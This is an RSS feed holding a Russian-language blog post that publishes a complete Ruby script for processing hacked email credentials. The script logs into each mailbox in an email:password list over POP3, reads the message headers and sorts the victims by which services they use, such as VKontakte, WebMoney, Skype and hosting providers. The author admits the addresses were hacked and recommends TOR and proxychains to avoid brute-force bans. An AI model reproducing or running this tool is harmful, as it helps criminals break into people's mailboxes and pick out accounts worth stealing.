<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>по стопам webkill&#039;а &#187; сканирование на аккаунты</title>
	<atom:link href="http://blog.lukmus.ru/tag/skanirovanie-na-akkauntyi/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.lukmus.ru</link>
	<description>это наш химический дом для печальных жителей Земли</description>
	<lastBuildDate>Sat, 21 Oct 2023 19:10:13 +0000</lastBuildDate>
	<language>ru-RU</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.4.2</generator>
		<item>
		<title>сканирование e-mail&#8217;ов на аккаунты различных сервисов</title>
		<link>http://blog.lukmus.ru/2011/07/27/1038/</link>
		<comments>http://blog.lukmus.ru/2011/07/27/1038/#comments</comments>
		<pubDate>Wed, 27 Jul 2011 07:06:16 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[скрипты]]></category>
		<category><![CDATA[email]]></category>
		<category><![CDATA[POP3]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[почта]]></category>
		<category><![CDATA[сканирование на аккаунты]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=1038</guid>
		<description><![CDATA[В общем зашел разговор о том что делать с вагоном e-mail&#8217;ов после того как вы их взломали добыли. Речь там шла про то как отсортировать эти почты по наличию определенных аккаунтов ( сам разговор ). А я как раз чуть больше года назад писал скрипт для этих целей. Собственно тут я его выложу и вкратце [...]]]></description>
			<content:encoded><![CDATA[<p>В общем зашел разговор о том что делать с вагоном e-mail&#8217;ов после того как вы их <del datetime="2011-07-27T05:05:12+00:00">взломали</del> добыли. Речь там шла про то как отсортировать эти почты по наличию определенных аккаунтов ( <a rel="nofollow" href="http://forum.antichat.ru/thread285666.html">сам разговор</a> ). А я как раз чуть больше года назад писал скрипт для этих целей. Собственно тут я его выложу и вкратце расскажу как он работает.<br />
<img class="aligncenter size-full wp-image-1039" title="Талон_1990_Ленинград_2" src="http://blog.lukmus.ru/wp-content/uploads/2011/07/Талон_1990_Ленинград_2.jpg" alt="" width="517" height="320" /><br />
<span id="more-1038"></span></p>
<h2>суть вкратце</h2>
<p>Читаем поочередно из файла логины и пароли от почт, после чего заходим на них по POP3.</p>
<p>Далее проходимся по всем сообщениям и если это сообщение от нужного нам адреса, например Вконтакте.Ру (admin@vkontakte.ru), то добавляем этот логин в нужный список, удаляем из массива этого адресата и идем по его сообщениям дальше. Сканирование одной почты продолжается до тех пор пока не кончатся все адресаты или не закончатся сообщения в почте. Далее берем следующий e-mail.</p>
<h2>скрипт</h2>
<p>Скрипт написан на Ruby и работает как на версии 1.8, так и на 1.9. Пробовал его только на Linux, но подозреваю, что на Windows он тоже будет прекрасно работать.</p>
<h3>получение параметров и начальная настройка</h3>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
</pre></td><td class="code"><pre class="ruby" style="font-family:monospace;"><span style="color:#008000; font-style:italic;">#!/usr/bin/ruby</span>
<span style="color:#CC0066; font-weight:bold;">require</span> <span style="color:#996600;">'net/pop'</span>
&nbsp;
<span style="color:#9966CC; font-weight:bold;">if</span> ARGV.<span style="color:#9900CC;">size</span>!=<span style="color:#006666;">3</span>
  <span style="color:#CC0066; font-weight:bold;">puts</span> <span style="color:#996600;">&quot;&lt;infile&gt; &lt;logfile&gt; &lt;start no&gt;&quot;</span>
  <span style="color:#CC0066; font-weight:bold;">exit</span>
<span style="color:#9966CC; font-weight:bold;">end</span>
&nbsp;
<span style="color:#ff6633; font-weight:bold;">$infile</span>,$logfile,$start_no=ARGV
<span style="color:#ff6633; font-weight:bold;">$start_no</span>=$start_no.<span style="color:#9900CC;">to_i</span>
&nbsp;
<span style="color:#ff6633; font-weight:bold;">$service</span>=<span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#996600;">'torrents.ru'</span>,<span style="color:#996600;">'tfile.ru'</span>,<span style="color:#996600;">'skype.com'</span>,
  <span style="color:#996600;">'ozon.ru'</span>,<span style="color:#996600;">'odnoklassniki.ru'</span>,<span style="color:#996600;">'smartpay.com.ua'</span>,
  <span style="color:#996600;">'vkontakte.ru'</span>, <span style="color:#996600;">'webmoney.ru'</span>,<span style="color:#996600;">'moneybookers.com'</span>,
  <span style="color:#996600;">'e-gold.com'</span>,<span style="color:#996600;">'e-port.ru'</span>,<span style="color:#996600;">'agava.ru'</span>,
  <span style="color:#996600;">'hoster.ru'</span>,<span style="color:#996600;">'dinohost.ru'</span>,<span style="color:#996600;">'eskhosting.ru'</span>,
  <span style="color:#996600;">'infobox.ru'</span>,<span style="color:#996600;">'zemskov.ru'</span>,<span style="color:#996600;">'art-host.ru'</span><span style="color:#006600; font-weight:bold;">&#93;</span></pre></td></tr></table></div>

<p>Итак, скрипт получает в командной строке 3 параметра:</p>
<ol>
<li>файл, содержащий почты и пароли от них в формате <code>mail@example.ru:passwd</code>, причем каждая почта на новой строке</li>
<li>файл лога, сюда будут записываться все почты, к которым не удалось авторизоваться  и другие ошибки</li>
<li>номер почты в <code>$infile</code>, с которой нужно начать работу. Нумерация с нуля.</li>
</ol>
<p>Далее идет массив, содержащий сервисы на которые будут сканироваться аккаунты почт. Смысл здесь в домене т.е. сюда нужно добавлять домены с которых высылаются e-mail&#8217;ы этих сервисов.</p>
<h3>некоторые неключевые функции</h3>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
</pre></td><td class="code"><pre class="ruby" style="font-family:monospace;"><span style="color:#9966CC; font-weight:bold;">def</span> exist<span style="color:#006600; font-weight:bold;">&#40;</span>str,file<span style="color:#006600; font-weight:bold;">&#41;</span>
  outf=<span style="color:#CC00FF; font-weight:bold;">File</span>.<span style="color:#CC0066; font-weight:bold;">open</span><span style="color:#006600; font-weight:bold;">&#40;</span>file,<span style="color:#996600;">'a'</span><span style="color:#006600; font-weight:bold;">&#41;</span>
  outf.<span style="color:#CC0066; font-weight:bold;">puts</span> <span style="color:#996600;">&quot;#{Time.now}: #{str}&quot;</span>
  outf.<span style="color:#9900CC;">close</span>
<span style="color:#9966CC; font-weight:bold;">end</span>
&nbsp;
<span style="color:#9966CC; font-weight:bold;">def</span> log<span style="color:#006600; font-weight:bold;">&#40;</span>text,file<span style="color:#006600; font-weight:bold;">&#41;</span>
  logf=<span style="color:#CC00FF; font-weight:bold;">File</span>.<span style="color:#CC0066; font-weight:bold;">open</span><span style="color:#006600; font-weight:bold;">&#40;</span>file,<span style="color:#996600;">'a'</span><span style="color:#006600; font-weight:bold;">&#41;</span>
  logf.<span style="color:#CC0066; font-weight:bold;">puts</span> <span style="color:#996600;">&quot;#{Time.now}: #{text}&quot;</span>
  logf.<span style="color:#9900CC;">close</span>
  <span style="color:#CC0066; font-weight:bold;">puts</span> <span style="color:#996600;">&quot;#{Time.now}: #{text}&quot;</span>
<span style="color:#9966CC; font-weight:bold;">end</span>
&nbsp;
<span style="color:#9966CC; font-weight:bold;">def</span> check_letter<span style="color:#006600; font-weight:bold;">&#40;</span>head,service<span style="color:#006600; font-weight:bold;">&#41;</span>
  service.<span style="color:#9900CC;">each_with_index</span> <span style="color:#006600; font-weight:bold;">&#123;</span><span style="color:#006600; font-weight:bold;">|</span>se,i<span style="color:#006600; font-weight:bold;">|</span> <span style="color:#0000FF; font-weight:bold;">return</span> i <span style="color:#9966CC; font-weight:bold;">if</span> head.<span style="color:#9966CC; font-weight:bold;">include</span>?<span style="color:#006600; font-weight:bold;">&#40;</span>se<span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#125;</span>
  <span style="color:#0000FF; font-weight:bold;">return</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">1</span>
<span style="color:#9966CC; font-weight:bold;">end</span></pre></td></tr></table></div>

<p>Немного объясню функции:</p>
<ul>
<li><code>exist</code> &#8211; записывает аккаунт почты в файл одноименный с доменом сервиса, в случае если почта зарегистрирована в этом сервисе</li>
<li><code>log</code> &#8211; записывает сообщение в файл лога</li>
<li><code>check_letter</code> &#8211; проверяет заголовок письма на наличие домена сервиса, обходя массив сервисов. В случае если письмо отправлено от нужного домена возвращает индекс этого домена в массиве, в противном случае возвращает <code>-1</code>.</li>
</ul>
<h3>функция сканирования почты</h3>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
</pre></td><td class="code"><pre class="ruby" style="font-family:monospace;"><span style="color:#9966CC; font-weight:bold;">def</span> check<span style="color:#006600; font-weight:bold;">&#40;</span>mail,pass,service<span style="color:#006600; font-weight:bold;">&#41;</span>
    <span style="color:#008000; font-style:italic;"># разбиваем почтовый адрес @, на логин и домен</span>
    login,pop_server=mail.<span style="color:#CC0066; font-weight:bold;">split</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">'@'</span><span style="color:#006600; font-weight:bold;">&#41;</span>
    pop_server=<span style="color:#996600;">'pop.'</span><span style="color:#006600; font-weight:bold;">+</span>pop_server
    count_reg=<span style="color:#006666;">0</span>
&nbsp;
    <span style="color:#9966CC; font-weight:bold;">begin</span>
        pop=<span style="color:#6666ff; font-weight:bold;">Net::POP3</span>.<span style="color:#9900CC;">new</span><span style="color:#006600; font-weight:bold;">&#40;</span>pop_server<span style="color:#006600; font-weight:bold;">&#41;</span>
    <span style="color:#9966CC; font-weight:bold;">rescue</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> e
        <span style="color:#0000FF; font-weight:bold;">return</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">2</span>
    <span style="color:#9966CC; font-weight:bold;">end</span><span style="color:#008000; font-style:italic;">#begin</span>
&nbsp;
    <span style="color:#008000; font-style:italic;"># соединяемся с POP3-сервером</span>
    <span style="color:#9966CC; font-weight:bold;">begin</span>
        pop.<span style="color:#9900CC;">start</span><span style="color:#006600; font-weight:bold;">&#40;</span>login,pass<span style="color:#006600; font-weight:bold;">&#41;</span>
    <span style="color:#9966CC; font-weight:bold;">rescue</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> e
      <span style="color:#0000FF; font-weight:bold;">return</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">1</span>
    <span style="color:#9966CC; font-weight:bold;">end</span><span style="color:#008000; font-style:italic;">#begin</span>
&nbsp;
    <span style="color:#9966CC; font-weight:bold;">begin</span>
    <span style="color:#008000; font-style:italic;"># обходим письма в почте</span>
    pop.<span style="color:#9900CC;">mails</span>.<span style="color:#9900CC;">each</span> <span style="color:#9966CC; font-weight:bold;">do</span> <span style="color:#006600; font-weight:bold;">|</span>msg<span style="color:#006600; font-weight:bold;">|</span>
        hed=msg.<span style="color:#9900CC;">header</span>
        STDOUT.<span style="color:#9900CC;">flush</span>
&nbsp;
        <span style="color:#9966CC; font-weight:bold;">if</span> <span style="color:#006600; font-weight:bold;">&#40;</span>si=check_letter<span style="color:#006600; font-weight:bold;">&#40;</span>hed,service<span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&gt;</span>=<span style="color:#006666;">0</span>
	  <span style="color:#CC0066; font-weight:bold;">print</span> <span style="color:#996600;">'!'</span> <span style="color:#008000; font-style:italic;">###</span>
          exist<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;#{mail}/#{pass}&quot;</span>,service<span style="color:#006600; font-weight:bold;">&#91;</span>si<span style="color:#006600; font-weight:bold;">&#93;</span><span style="color:#006600; font-weight:bold;">&#41;</span>
          <span style="color:#008000; font-style:italic;"># удаляем сервис из экземпляра</span>
          <span style="color:#008000; font-style:italic;"># индивидуального массива сервисов</span>
          <span style="color:#008000; font-style:italic;"># для данной почты</span>
          service.<span style="color:#9900CC;">delete_at</span><span style="color:#006600; font-weight:bold;">&#40;</span>si<span style="color:#006600; font-weight:bold;">&#41;</span>
          count_reg<span style="color:#006600; font-weight:bold;">+</span>=<span style="color:#006666;">1</span>
          <span style="color:#9966CC; font-weight:bold;">if</span> service.<span style="color:#9900CC;">size</span>==<span style="color:#006666;">0</span>
            pop.<span style="color:#9900CC;">finish</span>
            <span style="color:#0000FF; font-weight:bold;">return</span> count_reg
          <span style="color:#9966CC; font-weight:bold;">end</span><span style="color:#008000; font-style:italic;">#if</span>
&nbsp;
        <span style="color:#9966CC; font-weight:bold;">else</span>
	   <span style="color:#CC0066; font-weight:bold;">print</span> <span style="color:#996600;">'.'</span>
	<span style="color:#9966CC; font-weight:bold;">end</span><span style="color:#008000; font-style:italic;">#if</span>
&nbsp;
    <span style="color:#9966CC; font-weight:bold;">end</span><span style="color:#008000; font-style:italic;">#each</span>
    <span style="color:#9966CC; font-weight:bold;">rescue</span> <span style="color:#CC00FF; font-weight:bold;">EOFError</span>
      pop.<span style="color:#9900CC;">finish</span>
      <span style="color:#0000FF; font-weight:bold;">return</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">4</span>
    <span style="color:#9966CC; font-weight:bold;">rescue</span> <span style="color:#6666ff; font-weight:bold;">Timeout::Error</span>
      pop.<span style="color:#9900CC;">finish</span>
      <span style="color:#0000FF; font-weight:bold;">return</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">3</span>
    <span style="color:#9966CC; font-weight:bold;">rescue</span> <span style="color:#6666ff; font-weight:bold;">Net::POPError</span>
      pop.<span style="color:#9900CC;">finish</span>
      <span style="color:#0000FF; font-weight:bold;">return</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">5</span>
    <span style="color:#9966CC; font-weight:bold;">end</span><span style="color:#008000; font-style:italic;">#begin</span>
&nbsp;
    pop.<span style="color:#9900CC;">finish</span>
    <span style="color:#0000FF; font-weight:bold;">return</span> count_reg
<span style="color:#9966CC; font-weight:bold;">end</span><span style="color:#008000; font-style:italic;">#def</span></pre></td></tr></table></div>

<p>Тут следует кое-что учесть. Эта функция в самом своем начале разбивает e-mail адрес на логин @ домен, после чего адрес POP3-сервера получается из суммы &#8216;pop.&#8217;+домен.<br />
Такая схема работает для бесплатных обывательских почт типа: mail.ru, rambler.ru, yandex.ru, hotmail.com итд. Однако, если почта не от популярных сервисов бесплатных почт, то адрес POP3-сервера может быть какой угодно.<br />
Также нужно знать, если домен настроен, например, в услуге Яндекса &#8216;Почта для домена&#8217;, то логин будет равен адресу почты целиком, а не только его первая часть до собаки (@).</p>
<h3>обход исходного файла</h3>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
</pre></td><td class="code"><pre class="ruby" style="font-family:monospace;">inf=<span style="color:#CC00FF; font-weight:bold;">File</span>.<span style="color:#CC0066; font-weight:bold;">open</span><span style="color:#006600; font-weight:bold;">&#40;</span>$infile,<span style="color:#996600;">'r'</span><span style="color:#006600; font-weight:bold;">&#41;</span>
i=<span style="color:#006666;">0</span>
<span style="color:#008000; font-style:italic;"># крутим файл до заданной начальной строки</span>
<span style="color:#9966CC; font-weight:bold;">while</span><span style="color:#006600; font-weight:bold;">&#40;</span>i<span style="color:#006600; font-weight:bold;">&lt;</span>$start_no<span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#9966CC; font-weight:bold;">do</span>
  str=inf.<span style="color:#CC0066; font-weight:bold;">gets</span>
  i<span style="color:#006600; font-weight:bold;">+</span>=<span style="color:#006666;">1</span>
<span style="color:#9966CC; font-weight:bold;">end</span>
&nbsp;
<span style="color:#008000; font-style:italic;"># построчно обходим файл</span>
<span style="color:#9966CC; font-weight:bold;">while</span> !inf.<span style="color:#9900CC;">eof</span> <span style="color:#9966CC; font-weight:bold;">do</span>
  str=inf.<span style="color:#CC0066; font-weight:bold;">gets</span>.<span style="color:#CC0066; font-weight:bold;">chop!</span>
  <span style="color:#CC0066; font-weight:bold;">print</span> <span style="color:#996600;">&quot;#{i})#{str} checking...&quot;</span> <span style="color:#008000; font-style:italic;">###</span>
  STDOUT.<span style="color:#9900CC;">flush</span>
  ret=check<span style="color:#006600; font-weight:bold;">&#40;</span>str.<span style="color:#CC0066; font-weight:bold;">split</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;:&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006666;">0</span><span style="color:#006600; font-weight:bold;">&#93;</span>,str.<span style="color:#CC0066; font-weight:bold;">split</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;:&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006666;">1</span><span style="color:#006600; font-weight:bold;">&#93;</span>,$service<span style="color:#006600; font-weight:bold;">&#41;</span>.<span style="color:#9900CC;">to_i</span>
  <span style="color:#9966CC; font-weight:bold;">case</span> ret
    <span style="color:#9966CC; font-weight:bold;">when</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">3</span>
      log<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;Unknow time is out #{str}&quot;</span>,$logfile<span style="color:#006600; font-weight:bold;">&#41;</span>
    <span style="color:#9966CC; font-weight:bold;">when</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">2</span>
      log<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;Can't connect to the server #{str}&quot;</span>,$logfile<span style="color:#006600; font-weight:bold;">&#41;</span>
    <span style="color:#9966CC; font-weight:bold;">when</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">1</span>
      log<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;Can't auth #{str}&quot;</span>,$logfile<span style="color:#006600; font-weight:bold;">&#41;</span>
    <span style="color:#9966CC; font-weight:bold;">when</span> <span style="color:#006666;">0</span>
      <span style="color:#CC0066; font-weight:bold;">puts</span> <span style="color:#996600;">&quot;FAIL #{str}&quot;</span>
    <span style="color:#9966CC; font-weight:bold;">else</span>
      <span style="color:#CC0066; font-weight:bold;">puts</span> <span style="color:#996600;">&quot;#{Time.now}: #{str} SUCCESS #{ret}&quot;</span>
  <span style="color:#9966CC; font-weight:bold;">end</span>
  i<span style="color:#006600; font-weight:bold;">+</span>=<span style="color:#006666;">1</span>
<span style="color:#9966CC; font-weight:bold;">end</span>
inf.<span style="color:#9900CC;">close</span></pre></td></tr></table></div>

<p>Ну тут все просто и примитивно.</p>
<h2>заключение</h2>
<p>Следует помнить, что доступ по POP3 вообще может быть отключен у почты, в этом случае почта будет добавлен в лог, как имеющая не верный пароль. Помимо этого если в списке много раз будет не проходить авторизация, то тот или иной POP3-сервер может забанить ваш IP за брутфорс, чтобы такого не было рекомендую запускать скрипт через известную связку TOR-Privoxy-Proxychains.</p>
<p>Целиком скрипт можно скачать тут - <a href="http://blog.lukmus.ru/wp-content/uploads/2011/07/check_mail_for_diff_accs.rb_.zip">check_mail_for_diff_accs.rb</a>.<br />
<meta property="og:image" content="http://blog.lukmus.ru/wp-content/uploads/2011/07/Талон_1990_Ленинград_2.jpg" /></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2011/07/27/1038/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
